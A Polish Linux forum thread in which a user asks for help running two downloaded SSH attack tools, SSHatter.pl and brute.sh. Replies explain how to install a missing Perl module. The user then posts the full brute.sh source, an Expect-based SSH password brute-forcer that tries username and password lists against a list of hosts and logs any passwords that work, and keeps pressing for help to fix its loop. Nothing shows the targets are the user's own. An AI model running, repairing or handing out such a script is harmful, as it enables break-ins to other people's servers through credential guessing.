uruchomienie programu pobranego z internetu

Tematy związane z oprogramowaniem, instalacją, konfiguracją
Awatar użytkownika
nighttrain
Beginner
Posty: 123
Rejestracja: 07 marca 2009, 19:47
Lokalizacja: 127.0.0.1

uruchomienie programu pobranego z internetu

Post autor: nighttrain »

Witam.

¦ciągnąłem z sieci archiwum, które zawiera plik: SSHatter.pl oraz całkiem inny programik, ale o podobnych właściwościach. Jest to plik do testów testów serwera ssh.
  1. W pierwszym przypadku wywołuję go poleceniem w terminalu:

    Kod: Zaznacz cały

    ./SSHatter.pl
    
    Jednak co rusz sypie mi błędami:

    Kod: Zaznacz cały

    debian:/home/xxx/Desktop/SSHatter-1.0/src# ./SSHatter.pl
    Can't locate Net/SSH/Perl.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at ./SSHatter.pl line 36.
    BEGIN failed--compilation aborted at ./SSHatter.pl line 36.
    
  2. Drugi przypadek również sypie błędami.
    Posiadam również inny plik o nazwie ,,brute.sh'', wywołuję go poleceniem:

    Kod: Zaznacz cały

    ./brute.sh
    
    Niestety również:

    Kod: Zaznacz cały

    debian:/home/xxx/Desktop# ./brute.sh
    ./brute.sh: line 48: syntax error: unexpected end of file
    debian:/home/xxx/Desktop# 
    
Proszę o pomoc.
Awatar użytkownika
grucha
Beginner
Posty: 345
Rejestracja: 29 września 2007, 01:04
Lokalizacja: Rzeszów / Kraków

Post autor: grucha »

Na Perlu się nie znam, ale obstawiam, że brakuje jakiegoś modułu. Jest do tego skryptu jakieś readme?

Co do drugiego problemu, pokaż kod, bo z komunikatu wynika, że plik się niespodziewanie urywa.
Awatar użytkownika
Redhead
Junior Member
Posty: 526
Rejestracja: 17 lipca 2007, 17:37

Re: uruchomienie programu pobranego z internetu

Post autor: Redhead »

nighttrain pisze: Jednak co rusz sypie mi błędami:

Kod: Zaznacz cały

debian:/home/xxx/Desktop/SSHatter-1.0/src# ./SSHatter.pl
Can't locate Net/SSH/Perl.pm in @INC (@INC contains: /etc/perl /usr/local/lib/perl/5.10.0 /usr/local/share/perl/5.10.0 /usr/lib/perl5 /usr/share/perl5 /usr/lib/perl/5.10 /usr/share/perl/5.10 /usr/local/lib/site_perl .) at ./SSHatter.pl line 36.
BEGIN failed--compilation aborted at ./SSHatter.pl line 36.
Brakuje modulu w Perlu.

Kod: Zaznacz cały

aptitude search perl | grep -i net
Albo zainstaluje w powloce CPAN

Kod: Zaznacz cały

#cpan

Kod: Zaznacz cały

install Net::SSH::Perl
nighttrain pisze: 2. Drugi przypadek również sypie błędami.
Posiadam również inny plik o nazwie ,,brute.sh'', wywołuję go poleceniem:

Kod: Zaznacz cały

./brute.sh
Niestety również:

Kod: Zaznacz cały

debian:/home/xxx/Desktop# ./brute.sh
./brute.sh: line 48: syntax error: unexpected end of file
debian:/home/xxx/Desktop# 
Pokaz linie 48 w tym skrypcie.

Przepraszam za post, ale zamiast ,,Zmień'' nacisnąłem ,,Kasuj'' :mrgreen:
Awatar użytkownika
nighttrain
Beginner
Posty: 123
Rejestracja: 07 marca 2009, 19:47
Lokalizacja: 127.0.0.1

Post autor: nighttrain »

Proszę bardzo oto kod programu, zależy mi na działaniu tego pierwszego: (brute.sh), ten drugi jest na ponad 300 linijek, wiec sobie go na razie podaruję.

1) brute,sh:

Kod: Zaznacz cały

GNU nano 2.0.7                File: brute.sh                                      

#!/bin/sh
#
# Written by James Shanahan (jshanahan@comcastpc.com)
# and Erin Palmer(epalmer@comcastpc.com)
# ssh brute forcer
# This will allow you to specify hosts, password lists, and a user
# I do not take any responsibility for what you do with this tool
# Hopefully it will make your life easier rather then making other
# peoples lives more difficult!

set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]

if {[llength $argv] != 3} {
   puts stderr "Usage: $argv0 <dictionary-file> <hosts-file> <user-file>\n"
   exit }

set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]

set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]

foreach username $login
{
 foreach passwd $passwords
 {
  foreach ip $hosts
  {
   spawn ssh $username@$ip
   expect "-"
   send "$passwd\n"
   set logFile [open $ip.log a]
   expect "L"
   {
    puts $logFile "password for $username@$ip is $passwd\n"
    close $logFile
   }
   set id [exp_pid]
   exec kill -INT $id
  }
 }
}
Awatar użytkownika
Redhead
Junior Member
Posty: 526
Rejestracja: 17 lipca 2007, 17:37

Post autor: Redhead »

Pętla w skrypcie jest źle napisana :-)
Awatar użytkownika
nighttrain
Beginner
Posty: 123
Rejestracja: 07 marca 2009, 19:47
Lokalizacja: 127.0.0.1

Post autor: nighttrain »

Redhead, troszkę bardziej szczegółowo proszę.

[ Dodano: |18 Sty 2010|, 2010 01:45 ]
poproszę niech ktos pomoze :( co z ta petla
ODPOWIEDZ